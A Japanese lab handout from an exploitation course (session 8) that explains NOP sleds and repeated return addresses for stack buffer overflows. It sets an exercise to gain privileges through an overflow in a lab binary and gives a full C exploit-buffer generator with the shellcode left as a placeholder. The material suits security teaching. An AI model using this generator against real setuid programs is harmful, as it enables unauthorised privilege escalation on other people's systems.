Exploiting実習 第8回


目次


前回までのハッキング方法における問題点


NOPスレッド

+-------------------+0001
| NOP                 |
+-------------------+0002
| NOP                 |
+-------------------+0003
| NOP                 |
+-------------------+0004
| NOP                 |
+-------------------+0005
| NOP                 |
+-------------------+0006
+-------------------+0001
| NOP                 |
+-------------------+0002
| NOP                 |
+-------------------+0003
| NOP                 |
+-------------------+0004
| NOP                 |
+-------------------+0005
| NOP                 |
+-------------------+0006
| mov a 10          |
+-------------------+000a
| mov b 7            |
+-------------------+000e

RETの連発

+-------------------+0001     +-------------------+
|                   |         |                   |
+-------------------+0002     +-------------------+
|                   |         |                   |
+-------------------+0003     +-------------------+←-+
| var2              |         |  payload          |   |
+-------------------+0004     +-------------------+   |
| var1              |         |  RET              |---+
+-------------------+0005 →  +-------------------+   |
| SEIP              |         |  RET              |---+
+-------------------+0006     +-------------------+   |
| argc              |         |  RET              |---+
+-------------------+000a     +-------------------+   |
| argv              |         |  RET              |---+
+-------------------+000e     +-------------------+   |
| ????              |         |  RET              |---+
+-------------------+000f     +-------------------+

柔軟性

上記二つのテクニックを合わせると、かなりの柔軟性が生まれる

前半にNOPスレッドを、次にペイロードを、最後にNOPスレッド中のアドレスのうちのひとつを立て続けに配置する

fig.8-1:柔軟性を持たせた例


実際の挿入ベクター生成プログラム

第一回で紹介した挿入ベクター生成プログラムは、NOPスレッドとRETの連発テクニックを駆使している

0           200         300
+-----------+-----------+-----------------------+
| NOP       |  payload  | RET RET RET ....      |
+-----------+-----------+-----------------------+

例題

例題 8.1

/home/SAS_Workspace/ex8_bof.exeプログラムのBOF脆弱性を利用して権限奪取してください。ソースコードは公開されていないプログラムですが、BOFに関する脆弱性が存在することがわかっているものとします。挿入ベクター生成プログラムには次のものを改変して使用することをオススメします。

挿入ベクター生成プログラム

#include <stdlib.h>

char shellcode[]=
"ペイロード";

unsigned long sp (void){
        __asm__("movl %esp, %eax");
}

int main (int argc, char *argv[]){
        int i, offset;
        long esp, ret, *addr_ptr;
        char *buffer, *ptr;

        offset = 0;
        esp = sp();
        ret = esp - offset;

        buffer = malloc(600);

        ptr = buffer;
        addr_ptr = (long *)ptr;
        for (i=0; i<600; i += 4)
                *(addr_ptr++) = ret;

        for (i=0; i<200; i++)
                buffer[i] = '\x90';

        ptr = buffer + 200;
        for (i=0; i<strlen(shellcode); i++)
                *(ptr++) = shellcode[i];

        buffer[600 - 1] = 0;

        execl("./bo-test.exe", "bo-test.exe", buffer, 0);

        free(buffer);
        return 0;
}

次回の予定


Copyleft (C) 2007. Defolos. All rights opened.